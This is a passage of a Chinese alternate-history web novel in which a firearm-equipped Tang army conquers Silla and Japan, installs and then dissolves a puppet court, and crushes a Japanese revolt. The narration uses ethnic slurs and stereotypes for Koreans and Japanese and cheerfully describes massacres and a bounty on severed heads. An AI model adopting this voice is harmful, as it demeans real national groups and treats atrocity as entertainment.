严秦想,都说新罗棒子大舌头,敢吹敢说,今天就要看看光州这些新罗军的战力如何,当即命令部队摆开阵势,准备强攻光州城。
严秦采取围三缺一的方式,将光州的北、西、南三面为主,但是留出东门不管,削弱新罗军的抵抗意志。
严秦部署完毕后,对着北门开始大规模的炮击,那两块写着标语的白布,最先遭殃,很快就被炸掉,对新罗军的意志造成了很大的冲击。
炮击一天后,兴中军在城北轰出一个巨大的缺口,然后就地宿营一晚,准备第二天发起攻击。当夜,唐军营地布置的比较严密,防止新罗军偷袭,没想到新罗军竟没敢来。
既然新罗军不来,兴中军就要来了,第二天上午,兴中军第一波攻城部队,从缺口冲进去,与守城的新罗军展开激战。
刚开始,新罗军仗着人多,互相鼓舞着抵抗唐军,在缺口处阻挡了唐军一阵。严秦紧接着派出第二波攻城部队,加大攻势。
新罗军的弓箭大刀,哪里能够挡得住唐军的**,先后有很多新罗军身上被打出血窟窿,把其他新罗军吓坏了,开始不断后撤。
严秦再派出第三波攻城部队,对城内的新罗军展开猛烈的攻击,逢人便射,遇人便杀,检验一下新罗军到底能不能死战到底。
城内激战的时,严秦早已派出一支约5000人的部队,转移到光州城东十里处埋伏,到时候对出逃的新罗军进行二次打击。
兴中军只派了1.5万人进城,就把城内的新罗军打的满地找牙,哭喊着往城东涌去,朴永泰派人阻拦,毫无作用,溃兵涌出东门一路向东逃跑。
朴永泰一看跑了那么多部队,自己也不愿做替死鬼,也在一百多亲兵的保护下,脚底抹油,往东逃去。
严秦岂会让这些新罗军逃走,留下5000人肃清城内残敌,自带剩余2万人追过去。
新罗军看到唐军追过来,都吓坏了,扔下兵器铠甲,玩命的往东跑,可是没跑多远,前面就响起了**,跑在最前面的新罗军纷纷倒毙身亡。
前有阻截,后有追兵,把这群新罗兵吓坏了,纷纷跪求朴永泰投降,给新罗留点种子。
朴永泰心想你们算啥种子?孬种!但是一想,正好可以借坡下驴,含泪答应了士卒们的请求,让人打白旗投降。
就这样,只经过一天的战斗,兴中军拿下了光州,俘获了3万多新罗军,所谓的“誓守光州,死战到底”,完全成了一句笑话。
连最大的光州都投降了,沿途其他新罗守军也是望风而降,兴中军一路进展也比较顺利,于8月中旬到达金城以西。
兴中军达到后,会同平东军将金城团团围住,两军准备完毕后,对着城内就是一阵猛轰,连续打了三天,才派人要求新罗投降。没想到新罗人借口天时不好,说十天以后是黄道吉日,才可以投降,暂时不能投降。
两个主将知道,新罗人玩这种把戏,纯粹就是以拖待变,还幻想着新罗的勤王部队过来解围。
唐军也不客气,第二天就对着西门和东门连续猛轰,炸倒城门后,大军直接往城内冲击,进城后大杀四方,只要是敢于抵抗的新罗军格杀勿论。
新罗军被打的毫无还手之力,大批人员战死或投降,剩下的纷纷朝王宫跑去。唐军将王宫团团围住,再次要求新罗人投降,这次新罗人很干脆,立即让人打白旗投降。
严秦和田弘正一阵冷笑,投降还要找个黄道吉日,都是找借口的扯淡,破城之日就是投降最好的黄道吉日!
两军后面还要打扶桑,没工夫跟他瞎耗,早点结束战斗为宜,立即命人受降。待两军拿下金城时,镇北军也已经扫清新罗北部各州,新罗算是全
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部拿下。
按照武元衡的要求,平东军派人乘船将新罗国王金敬熙和家人送到登州,交给武元衡,再由武元衡派人送到长安。平定新罗以后,三军按照李纯提前的安排,由镇北军镇守新罗,兴中军和平东军则将汇合平海军,则继续进攻扶桑。
在兴中军和平东军**金城之前,田弘正早已派人将情况汇报给武元衡,武元衡调度平海军在翁洲(舟山)做好进攻准备。
待两军拿下金城后,确定了进攻扶桑的日期,再次派人将情况报告给武元衡,武元衡命令平海军在两军在北线发起攻击后十天左右,在南线渡海攻击。
9月初,先由平东军率先发起攻击,拿下对马岛,两军在对马岛集结,准备以对马岛为跳板,进攻扶桑本土。
非常不巧的是,唐军遇到风暴,船只难以航行,居然被困在了岛上五六天,眼看食物就快吃完了,风暴才算停息,平东军抓紧从新罗运来一批物资补充,才算渡过危机。
照例,首先还是平东军利用战船优势发动攻击,平东军的船队向东南直趋北九州。
北九州是扶桑在西部的门户,也是与新罗海上运输的重要港口,扶桑国得知唐军进攻新罗时,已在这里布置五万多的兵力进行防守,准备对抗唐军的进攻。
平东军统领田弘正认为,凭着唐军的坚船利炮,扶桑军根本不够打的,任你怎么反抗,还是逃脱不了覆灭的命运。
唐军接近北九州海岸线以后,对着敌人的堡垒就是一顿猛轰,令人惊奇的是,扶桑军居然没有任何反应,任你怎么轰,始终没有人进行反击,似乎所有人因害怕而躲了起来。
打了好一阵,扶桑人还是没反应,平东军就派人乘小船登陆,平东军一部分先头人马刚登陆,扶桑人像是突然苏醒一样,集体从房屋后面窜了出来,拿着大刀**,向唐军冲来。
登陆的唐军连忙举枪射击,一部分扶桑人中弹倒下,但是这些人悍不畏死,继续向唐军冲锋。唐军第一批登陆的不到两千人,冲过来的扶桑军超过两万,而且这些扶桑军拿着盾牌,穿着盔甲,也能减少**的杀伤力。
刚开始,虽然扶桑军死伤较多,但是源源不断攻击过来,在气势上压倒了唐军。船上的炮火急忙向扶桑军方向射击过去,但是由于两军已经很接近了,不能大胆射击,没有起到很好的效果。
眼看扶桑军就要冲到身边,唐军逐渐丧失了火力优势,一些唐军急忙登上小船,向海里的平东军船队划去。有些反应慢的,被扶桑军纠缠住,没有逃脱,大都被扶桑军击杀,少部分被俘虏。
第一波两千人的登陆梯队,只逃回了一千人左右,剩余的一千人,约七百多人是**,被俘三百人左右。出师不利,反被扶桑军摆了一道,田弘正的肺都快被气炸了,但是继续攻击也是劳而无功,平东军只能返回对马岛。
因为平东军和兴中军在对马岛曾被风暴困了几天,田弘正估计南线的平海军过两天就会发动攻击,所以干脆暂时休兵,和严秦共同考虑破敌之策。
经过他们派人在周边区域认真查看,发现在对马岛南边,北九州西面的海上有个岛屿,叫做壹岐岛,此岛离海岸线更近,而且对面的唐津是一个小城,扶桑军只有两千多人驻守,比较好攻取。
结合平海军将要进攻的情况,两军决定分兵突击,由一半的平东军在北九州海岸线牵制扶桑军主力,然后由另一半的平东军用战船运送兴中军先占领壹岐岛,而后从壹岐岛向唐津附近海岸登陆,拿下唐津后,两军会攻北九州。
平海军统领李元奕按照武元衡要求进攻扶桑的的时间,提前了五天从翁洲出发,一路向东航行,在茫茫大海上曾一度迷失方向,还好有司南的帮助,坚持向东航行,大概航行了6天,终于在9月中旬在扶桑的萨摩(今日本鹿儿岛)一带登陆。
一直以来,扶桑与大陆连接的纽带是北九州,基本都是先从北九州到新罗,再从新罗到唐朝,只有少数航行经验比较丰富的船只,才会从九州岛西部乘船直接去唐朝。
所以,扶桑将防守的重点放在了北九州,在萨摩一带只有不到一万人,而且防守松懈,被平海军轻松击败,只用了三天就占领了萨摩城,然后水陆共进,向北进攻熊本。
第72章 进攻扶桑
一旦唐军攻下熊本,在北九州的扶桑军将会腹背受敌,所以北九州守将决定派兵两万,援助熊本的一万守军。
田弘正和严秦等的就是这一时刻,正面牵制的平东军,立即到北九州附近,对着城池就是一阵猛轰。黑压压的战船,对着城池一直轰击,但是不再派人登陆,搞得扶桑军高度紧张,不敢大意,唯恐唐军主力突然登陆。
严秦按照原来的计划,首先夺取壹岐岛,而后从壹岐岛向南直扑唐津,兴中军主力从唐津以西海岸登陆。这里的扶桑军猝不及防,本想前出阻止唐军登陆,但是在几万唐军主力面前根本不够打,只能退回城内。
唐军完成登陆后,船上的火炮对着唐津城就是一顿猛轰,不多久这个小城就被轰的摇摇欲坠。兴中军发起集团冲击,不到一天时间,拿下唐津,而后沿着海岸线向东攻向北九州。
兴中军向东进发了两天,来到了福冈城,这个城池也很重要,扶桑人派了两万多人在这里防守。严秦算了一下,整个个九州岛,已知的四个城就有9万多人,都是扶桑的精锐,难怪觉得扶桑人不好对付。
来都来了,肯定要把福冈打下来,扶桑军在福冈城只有两万多人,兴中军全部加上一半平东军有四万多人,唐军具有兵力火力优势,严秦决定大干一场。
严秦知道扶桑人不会轻易投降,所以也不客气,水陆两个方向对着福冈城就是一顿猛轰,待城墙被多处被炸塌,唐军步兵才缓慢向城池推进。
唐军发挥火力优势,在较远距离对着扶桑军射击,扶桑军无计可施,只能在城墙后面躲避。但是扶桑军确实死硬,准备在唐军攻城时,利用近战杀伤唐军。
唐军岂会再给扶桑军近战的机会,集中炮火对着福冈西门附近猛轰,完全炸垮了一段城墙,唐军才带着盾牌结队靠近。
严秦在西门外的一个小高地上指挥,看到哪里的扶桑军密集,就让炮火射击过去,打的扶桑军只能分散躲避,无法**大股兵力。
唐军的**兵越过垮塌的城墙向城内攻击,一些躲在房屋后面的扶桑军,冲出来拿刀砍向唐军。
唐军根本不给他们冲过来的机会,只要扶桑军一出现,几十杆**就射击过去,立马打成了筛子。扶桑军前后冲了好几拨,根本无法阻止唐军的攻势,只能向城内步步后退。
经过前后三天的攻击,两万多扶桑军死伤过半,剩下的一万人龟缩在城市的东北角,还想作最后的顽抗。
严秦只是想占地方,也不想赶尽杀绝,就派人过去劝降,承诺只要投降,可以保留剩下扶桑军的性命。福冈的扶桑军眼看再不投降,就要全军覆没,只能无奈的同意投降。
严秦命令投降的扶桑军放下武器,走出来受降,没想到只走出来一个拿刀的扶桑将领。
只见此人拿着刀,缓缓走到唐军与扶桑军之间的一片小空地上,然后跪下来,解开上衣,双手握刀,刀尖对准腹部,只听他大声乌拉乌拉地喊了一句话,然后就用刀猛刺腹部,居然破腹**了。
严秦被雷了一下,以前听说扶桑人有战败**的习惯还不信,今日一睹,彻底信了。都承诺不杀投降的扶桑军,其头领还是要**谢罪,看来扶桑人真是看重荣誉。
首领**以后,其他的扶桑军倒是很老实,一起悲戚戚的走出来,扔下刀箭,走到唐军指定的地方抱头投降。
严秦想,如果一开始打福冈也不会那么难,没想到打的是最难的北九州,也该田弘正倒霉。兴中军在福冈简单休整一下,留下一部分人马看守俘虏,守卫城池,严秦带领主力东进,进攻北九州。
留在北九州的三万扶桑军被田弘正带军牵制着,动弹不得,十来天一直是挨炮弹,城墙被炸的千疮百孔,望洋兴叹。后面听说唐军攻下了福冈,扶桑军才知道中了唐军声东击西的诡计,北九州守将山冈正成气的直跺脚,决心死守扶桑在西部的门户。
田弘正嘿嘿一笑,扶桑人要死守,就让他好好死守,唐军会师以后,继续从水陆两个方向对着北九州猛轰,炸的城墙上的扶桑军死伤惨重,纷纷躲避。
严秦决定继续使用福冈的战法,集中炮火突击北九州的西门一段城墙,待城墙垮塌以后,再由步兵带着盾牌结队越墙攻击。
北九州的守军重复了福冈守军的命运,前面还拼死抵抗,对着唐军冲锋,但是在唐军密集火力的杀伤下,就像飞蛾扑火,徒增伤亡。随着唐军从西向东挤压,扶桑军逐渐支撑不住,要么**,要么投降,其余人员纷纷向东北方向溃逃。
北九州北面是港口,乘船既可以向西驶向新罗,也可以向北到扶桑主岛本州岛。本州岛最西端下关,与北九州只隔着一个很窄的海峡,乘船可以很快过去。
北九州的守军看到了这点希望,一部分人快速登船,向下关驶去。海上的平东军船队,看到几十艘小船驶出来,急忙追击。
平东军船上的大炮,对着扶桑军小船就是一顿猛轰,但是小船比较灵活,只有部分船只被击中沉没,其他的继续拼命驾船向北逃窜。
经过一番海战,大部分小船被唐军击沉或击伤俘虏,只有五六只小船得以逃脱,其中一个船上就坐着北九州守将山冈正成。严秦想,看来扶桑军也不都是视死如归,大部分人还是想活下去,带头的守将都跑了。
守将山冈正成逃走,其余扶桑军也不愿意继续作无谓的抵抗,先后放下刀箭投降。田弘正和严秦解救了前段被俘的唐军,率军在北九州短暂进行休整,并派人打探平海军的进展情况。
李元奕带领平海军进攻熊本城时,就估计扶桑军会有支援,所以来了个围点打援,派出部分兵力牵制熊本城的守军,主力在城北设伏。
待2万扶桑援军赶来以后,被平海军的部队伏击,现场简直是一场不对称的**,大批的扶桑军被射杀,对战不到一个时辰,扶桑军被迫向福冈逃窜,逃到半路,听说福冈也被唐军攻陷了,只好向追来的平海军投降。
扶桑援军一灭,平海军押着几个被俘扶桑将领到熊本城劝降,熊本城的守军开始动摇了,在平海军连续几天的攻击下,熊本守军最终也战败投降。
田弘正派来的人员向李元奕报告了北线的进展情况,并询问平海军的下步动向。
李元奕认为扶桑军比较顽强,光是一个九州岛就牵制了三个军团,这样步步进攻,要打到猴年马月,所以考虑由平东军和兴中军继续由下关向本州岛进攻,正面牵制扶桑军,自己带着平海军在侧后攻击,打敌人一个措手不及。
派出的人员回去报告后,田弘正和严秦觉得李元奕的思路不错,一前一后攻击,和打北九州一样,会发挥出人意料的效果,决定按照这个思路分兵出击。
平东军和兴中军在下关一带登陆,下关只有一万多守军,不经打,两三天就拿下城池。两军依旧采取水陆并进的方式,沿着濑户内海向本州岛东部进军。
扶桑**藤原义孝听说九州岛被唐军攻下后,异常恐慌,因为扶桑军总兵力只有二十万,在九州就驻守了9万多,本想在此挡住唐军,没想到居然被攻破了。
听说唐军攻占下关,并沿着濑户内海向本州东部攻击,藤原义孝急命大将加藤康立率领五万大军从神户向西增援。
唐军在本州岛西部攻下几个城池后,稳步向东推进,终于在10月中旬在冈山与加藤康立的部队遭遇。加藤康立深知唐军的厉害,不敢主动出击,决定死守冈山城,挡住唐军的攻势。
冈山是一个比较大的城池,原先驻守一万人,加上援军有6万人,扶桑军有了守城的底气,决定再次殊死一战。唐军自然也不会退缩,决定拔下这个钉子,打开攻下扶桑都城的大门,两军在冈山死磕起来。
由于前面有一定的损伤,还要留人守备九州,两个军团只有五万人,冈山守军在人数上略占优势,而且是据城守卫,又有地利优势,虽然在武器上不能和唐军比,但是还是决心挡住唐军。
北九州守将山冈正成也逃到了冈山,加藤康立本想杀了这个败军之将,但是想到目前是用人之际,山冈正成也有与唐军对战的经验,就决定留下他,参赞军务。
在山冈正成的建议下,扶桑军不敢和唐军硬刚,但是利用夜战近战的机会消耗唐军,冈山的扶桑军虽然有一定的死伤,但是暂时挡住了唐军的攻势。
两个军团和扶桑军在冈山纠缠,给了平海军乘虚而入的机会,李元奕决定一不
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做二不休,带着平海军主力从萨摩以南,沿着海岸线一路向东,越过四国岛,直接在大阪以南海岸线登陆。
大阪是扶桑的重镇,也是其国都奈良的门户,本有重兵防守,但是主力被抽调支援冈山,只有一万人守城。平海军登陆以后,采取水陆并进的方式向大阪攻击,大阪城池坚固,守军拼死抵抗。
李元奕很清楚,扶桑军的主力先后消耗在九州和冈山,大阪的守军不多,这是自己进攻奈良的绝好机会,绝不能放弃。
平海军毫不迟疑,对着大阪城就是猛轰,迅速炸塌大阪南门,李元奕设下重赏,平海军勇猛突击,越过垮塌的城墙就往城内冲。
扶桑军在兵力和武器都存在劣势,前面还奋勇反击,后面有生力量逐步被消灭,伤亡大半,失去了继续抵抗的决心,只能投降。
平海军不到三天拿下大阪,扶桑朝廷大为震惊,一面纠集了两万人守卫奈良,一面发出勤王的号召,要求各地的兵马向奈良增援。
李元奕知道,平海军就是要利用扶桑军的空档,以快制胜,拿下大阪后直接向东攻击,在10月下旬抵达奈良。
到了奈良以后,李元奕留出部分兵力,放在奈良城北、城东扶桑军可能增援的方向,用来阻击援军,主力则对奈良进行猛烈的炮击。
扶桑**藤原义孝不甘心坐以待毙,命令大将山田一郎带领五千敢死队发动夜袭,突击唐军营地。都这个时候了,唐军怎么可能没有准备,经过激烈对战,夜袭的扶桑军大败而归,逃回的不足两千。
扶桑军只能在悲风戚雨中坚守,中间曾有几股扶桑援军试图增援奈良,都被平海军阻敌的部队击退。
在冈山的加藤康立心急如焚,本想派出部队回援,结果是自身难保,一有兵力出城就被唐军射杀,冈山城摇摇欲坠,陷落也是早晚的事情。
平海军玩命的攻击,每天枪炮齐鸣,对着奈良城猛打,打的城内的王族和大臣们心惊胆战。眼看军事力量无法硬抗,扶桑内部的投降派开始抬头,主动找平海军接洽。
为了诱使扶桑军投降,李元奕开出了比较优厚的条件,**藤原义孝必须退位,其他愿意投降的大臣可以保留官位,建立一个亲唐的傀儡政权,统治扶桑。
李元奕知道自己的条件和李纯的意见不符,李纯的意见是尽占其地,没说过可以扶持傀儡政权,但是已经入冬了,天气越来越寒冷,继续对峙,对于唐军不利。
唐军尽管在武器占优势,毕竟人少,扶桑军战斗意志顽强,动不动就玩命,如果后续再来一些扶桑援军,自己怕有些吃不消,先拿下奈良,立下大功再说,其他的后续再处理。
听说了唐军的条件后,很多投降派动心了,甚至还打算拥立藤原义孝的弟弟藤原义满为新的**,成立亲唐的傀儡政权。
藤原义孝认为,任凭唐军这样炸下去,奈良会全被毁掉,自己就是扶桑的罪人,与其硬抗,不如先妥协,反正是自己的弟弟继续做**,先延续政权再说,权衡后决定投降,但是一个附加条件就是自己可以被软禁,但是绝不去唐朝。
李元奕考虑后答应了,但是也给出一个附加条件,那就是让藤原义孝下令让冈山的扶桑军投降,各地的扶桑军都要向唐军投降。
藤原义孝也答应了,但是耍了个心眼,只向冈山的加藤康立下令投降,对其他地方只表明自己会退位,要求各地服从新**的统治。
冈山的扶桑军,在唐军的猛烈打击下,已经损失惨重,估计不久就会陷落,此时**要求投降的诏书送达,加藤康立松了一口气,顺势表示愿意投降,但是要保留扶桑人的安全,原有人员的官职不变。
严秦和田弘正认为,这个要求不算过分,目前已经进入寒冬,已不适合继续作战,不愿节外生枝,答应了扶桑军的要求。
11月上旬,扶桑**藤原义孝正式向唐军投降,由其弟藤原义满接任新**,新**的政令必须接受唐军的指导,一些大政方针必须得到唐军的认可,重要官员的任免必须得到唐军的同意。
扶桑新朝廷成为了唐朝的傀儡政权,藤原义孝被转移到冈山,兴中军将其软禁在城外的一个寺庙中,不得与外人接触。
第73章 扶桑鏖战
冈山的扶桑军正式向唐军投降,其他地区的扶桑势力则处于观望状态,暂时接受新**的统治。唐军经过连续战斗,终于取得了对扶桑作战的胜利,完成了占据扶桑的目标。
至此,唐军先后击败契丹、渤海、新罗、扶桑等国,完成了第三阶段战事的目标,唐军上下洋溢着胜利的喜悦。但是唐军在扶桑取得的夹生饭式胜利,以及唐军简单的处置方式,为后面发生的变局,埋下了隐患。
扶桑军投降后,平东军决定和兴中军分开驻守,平东**移到北九州,守住扶桑通向新罗和唐朝的门户,并负责九州岛的管理。兴中军留在冈山,负责本州岛西部和四国岛的管理,并监视软禁的**。
平海军分成两半,一半由副将孟庆宇率领,驻扎大阪,一半由李元奕率领,驻扎奈良,监视和指导扶桑新朝廷的运转。
李元奕驻守奈良,享受扶桑都城的贡赋,可以对扶桑新**指手画脚,干预政务,俨然就是扶桑的太上皇,过得是好不惬意。
田弘正带领平东**移到北九州后,派人乘船携带信函,将扶桑的战事和处置情况送到登州。
此时,田弘正想起李纯曾经给过他一个密函,说到了扶桑以后再打开,前面一直打仗没来得及看,这时急忙打开来看,只见上面写着“扶桑人生性狡诈,要严厉打击,如降而复叛,杀无赦!”
田弘正赶忙把这个密函的内容传达给兴中军、平海军,此时已处于隆冬,扶桑到处下雪,大家都龟缩起来,到处都很安静,根本没有叛乱的迹象,兴中军、平海军也就没有引起足够的重视。
田弘正仔细分析了李纯的旨意,认为扶桑还有大量残余势力,复叛的可能性很大,而且唐军还有一个弱点,就是人数少。
虽然唐军凭借火器强大的优势,可以以少胜多,但是占领地方,加强末端统治有点力不从心,如果发生叛乱的话,到处分兵**,也会捉襟见肘。
为了稳妥起见,田弘正派副将吴元济到新罗,招募一批新罗军,到时可以用新罗军作为仆从军,用来帮助唐军对付扶桑人。
平东军派人送出的报告到达到登州后,武元衡就觉得前线将领的意见和李纯的意图不合,怎么能贸然扶持什么傀儡政权呢?
唐军要的是尽收其地,最后要搞直接统治,日本**也应该像渤海国王、新罗国王一样,送到唐朝来软禁,把这些重要人物抓到自己手里才稳妥。
但是一想这些将领也是事急从权,毕竟是立了功,后面还有转圜的余地,就不便过于追究。为了稳妥起见,武元衡还是决定将此事上报朝廷,由李纯决定如何处置。
自开战以来,李纯也在密切关注战局,定期都有快马报送前方战事的进展情况,李纯也会给前线下达重要指示,派人及时向前方运送粮草**,保证战事的顺利进行。
12月份,李纯收到关于扶桑战事的处置情况,李纯认真阅看了以后,能够理解前方将领为了快速战斗采取的一些怀柔措施,但是第三次大战和前两次不同,以占地为主要目的,不适合继续搞羁縻政策,不宜再委任当地首领搞傀儡政权,后面还是要由朝廷派去官员进行直接统治。
综合考虑一番后,李纯决定采取渐进式改变对新征服区的统治模式,首先肢解各国的中央政权,**成几个小的羁縻州,由朝廷派出大员治理,而后逐渐再把各小政权的权力收上来,再继续往下拓展,完成对新征服地区的全面统治。
李纯正式下达旨意,要求将日本**及家人全部押送到长安,由外事部进行统一供养。
授予李听安北都护一职,暂时管理渤海国及其以北所征服的土地,认可其对契丹、渤海等地肢解成羁縻州的管理模式。辽河以东、浿江以北的土地仍由安东都护府管理,彻底清理高句丽残余势力。
授予刘光颜新罗都护一职,将新罗肢解为10个羁縻州,不设傀儡朝廷,新罗暂由新罗都护统一管理。
扶桑肢解为12个羁縻州,解散新成立的傀儡政权,新老两个**均要送到长安。授予李元奕扶桑都护一职,实际上管理大阪以东的区域,九州岛由田弘正管理,本州岛西部和四国岛由严秦管理。
五个将领临时管理所占之地,后续朝廷将正式委派官员赴任,管理这些地区。
元和十年正月,各地陆续接到圣旨,但是各地反应不一。契丹、渤海、室韦等地原本就已经肢解成几个小国,直接把国王、可汗改成州刺史即可,执行难度不大。
新罗那边,国王已经送到长安了,新罗的朝廷已经处于瓦解状态,仅留了几个朝臣帮助唐军进行统治,可以直接把新罗的10个州直接归新罗都护府管理。
扶桑这边,就有点尴尬了,新的扶桑朝廷已经运转了,低三下四听从唐军的指令,突然又要解散,由唐朝派人直接统治,等于彻底断掉扶桑皇室的传承,扶桑人心理上接受不了。
更气人的是两个**都要送到唐朝软禁,与前面达成的投降条件完全不符,扶桑人都快气炸了。
在扶桑的唐军只能按照李纯的意见办事,由平海军和兴中军先后将两个**及家人送到北九州,由田弘正派人乘船将两人押送到登州,再由武元衡派人送到长安。
扶桑各地,除了九州岛的战事进行的比较彻底,算是唐军完全占领,本州岛奈良以西算是勉强占领,四国岛和本州岛中东部唐军尚未占领。
那些未被占领的地区,本来就是依靠扶桑的原傀儡政权代为管理,**政权一旦垮台,这些地方就成了割据势力。
扶桑人本来就性格强硬、崇尚武力,被唐军打败后本来就心怀怨恨,这次又把他们的两个**送到唐朝软禁,就相当于点燃了**桶。
扶桑各地的势力开始秘密串联,筹划发起一场大型叛乱,赶走唐军,重建扶桑国。
**政权倒台后,扶桑境内林立着很多谋求反唐的势力,实力最强的是江户藩主北条政康。
江户(今日本东京)位于本州岛东部,拥有扶桑最大的关东平原,境内人口众多,实力雄厚。当地原本就驻军两万,北条政康又积极招徕战败的散兵游勇,还吸纳了很多浪人武士,将军队扩充到了四万。
本州中部的美浓(名古屋一带)、北部的越后,东北部的陆奥等各大势力,也都乘机扩军,先后汇合到江户,拥立北条政康为征夷大将军,共**了8万大军向西讨伐唐军。
北条政康带领的扶桑军一路招徕武士加入,声势浩大,在元和10年2月份到达奈良附近时,已经拥有12万人马,他们将奈良团团围住,并分兵攻击大阪。
加藤康立、山田一郎、山冈正成等降将趁机逃脱,加藤康立从冈山向北逃到出云一带,召集4万军队,准备反击兴中军,山冈正成逃到四国岛,在四国**兵力2万人,准备与加藤康立联手攻击兴中军,山田一郎则逃到了北条政康军中,作为北条军的先锋,欲报夜袭失败之仇。
九州岛的扶桑人闻讯,也有部分降兵复叛,但是田弘正准备比较充分,吴元济在新罗抽调的3万新罗军也赶到了,他们迅速反击,以较快的速度扑灭了九州岛的叛乱。
严秦对扶桑军的叛乱,非常愤怒,带领兴中军分头剿灭,可是这些扶桑军学精了,不敢跟唐军硬碰,玩起了游击战。
大队唐军一去,他们就躲进山中,如果有唐军落单,或者出现小股的唐军,扶桑叛军就发动袭击,搞得兴中军疲于应付,只敢抱团行动,难以实质上重创扶桑叛军。
李元奕就更难过了,扶桑军越聚越多,将奈良和大阪围住,不断发动袭击,平海军只要发动反击,他们就退去,在其他唐军防备薄弱的地方发动袭击,经常是声东击西,到处打击唐军。
由于平海军在数量上处于劣势,扶桑军又不来硬碰,就是利用兵力优势四处出击,到处袭扰,搞得平海军疲惫不堪,索性直接守城,也不出去了,然后向兴中军和平东军求援。
兴中军自顾不暇,起到关键作用的只有平东军,田弘正决定采取由西向东一路平推的方式,会同兴中军、平海军彻底消灭叛军。在实施上,田弘正决定首先帮助兴中军,第一步重点剿灭加藤康立叛军。
田弘正要求,兴中军分出一部分兵力应对四国岛叛军的袭扰,主力放在广岛到冈山一带沿海重要据点内,以防御为主,阻止加藤康立军与山冈正成军的联系,将加藤康立军彻底围困在本州西部半岛,由平东军实施主攻,先集中力量消灭加藤康立军。
考虑到本州岛西部是一个东西长、南北窄的半岛,田弘正把部队分成两拨,自己率领平东军位于第一波,将手中的几个旅呈扇形南北展开,在前方排查
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击杀敌军。吴元济带领新罗军为第二波,在平东军后侧,也呈扇形南北展开,在平东军后侧排查击杀漏网之鱼。
平东军武器好,战斗力强,在一线排查杀伤敌军主力,新罗军战斗力差一些,但是在二线排查杀伤一线漏掉的敌军,也是绰绰有余。
经过一系列的经历,田弘正和吴元济认为,这次必须下死手,彻底把扶桑人打残打服!所以对部队下达了剿灭为主的命令,碰到敌军先杀再说,一路射杀过去,把其彻底打服再考虑让其投降。
新罗人战力不强,为了调动他们的积极性,吴元济许诺,每杀一个扶桑叛军,新罗兵可以拿人头换取一贯钱,钱自然是要从缴获的扶桑财物里出。
布置停当以后,田弘正就带着平东军和新罗军从下关一路向东扫荡过去。加藤康立刚开始还想继续玩游击战,先回避唐军的锋芒,可是唐军像筛子一样推过来,扶桑军根本没有穿插的机会,每退一步,自己的地盘就少一分。
后面,加藤康立只能硬着头皮和唐军干两仗,扶桑军的刀箭根本不是唐**器的对手,只要是唐军经过的地方,扶桑军基本被消灭,侥幸逃脱的,也会被二线的新罗军击杀。
新罗军看到漏网的扶桑军就像看到行走的铜钱,争先恐后的过去**,动作快的,割下脑袋找监督官换钱,没有抢到的只怨自己动作慢。
游击战对于唐军的新战法根本无效,加藤康立于是带人向南突围,那边的兴中军早已严阵以待,碰到扶桑军也是一阵射杀。
山冈正成多次率军乘船从四国岛过来接应,也被防守的兴中军击退,无计可施。加藤康立军西面是平东军的扇形碾压,北面是大海,南边过不去,只能边战边向东溃退。
在兴中军的配合下,平东军和新罗军一直打到神户一带,一路杀了两万扶桑军,彻底剿灭了本州西部的扶桑叛军,加藤康立只得率领两万残军向东投靠北条政康。
田弘正先率领平东军攻击大阪外围的扶桑军,大阪城外的扶桑军不敌,向东退去,大阪正式解围。为了稳妥起见,平东军分出一万兵力支援奈良的平海军,先稳住奈良的局势。
然后,田弘正、严秦用两军剩余的兵力,会同新罗军,在四国岛登陆,上岸后继续采用拉网式绞杀的战法,彻底剿灭了岛上的扶桑叛军。四国一战,唐军又斩杀了一万多扶桑叛军,山冈正成带领八千残军乘船狼狈逃向名古屋。
清剿完四国的扶桑叛军,平东军、兴中军对着奈良外围的扶桑军就是一阵猛轰,打退了扶桑军对奈良的包围,三个军团在奈良会师。
李元奕喜极而泣,终于可以扬眉吐气了,决心打一个翻身仗,找扶桑军报仇。
三个统领商议后认为,扶桑军虽然损失了三万多人,但是主力仍在,必须发动一场大的战役,消灭其有生力量,才能把扶桑人彻底制服。
田弘正提出了一个作战计划,由平海军继续守卫奈良一带,兴中军向奈良以北包抄,直达琵琶湖南沿,新罗军配置在奈良以南区域。三个军团以奈良为中心构成一个向东的包围圈,确保扶桑军不能向西突围,奈良及其以北敌军较多,配置两个较强的军团,奈良以南敌军较少,可以把较弱的新罗军配在这里,相对合理。
平东军则乘船绕到名古屋西南的津市海岸登陆,从后侧堵住扶桑军东逃的道路,得手后以响箭为号,四军同时发起攻击,对扶桑军来一场大的绞杀战。
**奈良的扶桑叛军,主要**在奈良周围及其以东、以北地带,奈良以南是伊势山地,交通不便,兵力较少。
唐军新锐力量到达后,北条政康等人预感大事不妙,但是不甘心就这样退去,否则可能被唐军各个击破,所以硬着头皮在奈良和唐军继续对峙。
平海军、兴中军、新罗军联合行动,清理了奈良及其以西的扶桑残军,然后兴中军向北进发,直达琵琶湖南沿的大津,新罗军向南进发,守卫在奈良以南的田原一带,将扶桑军全部挤压到奈良以东区域。
田弘正则带着平东军乘船在津市海岸登陆,成功登陆后,直接挥军向西进发,经龟山抵达伊贺。
伊贺是奈良通往名古屋的必经之路,也是扶桑叛军预想要撤退的路线,北条政康闻知伊贺被唐军占领,知道大事不好,急忙派兵向东反击,企图夺回伊贺。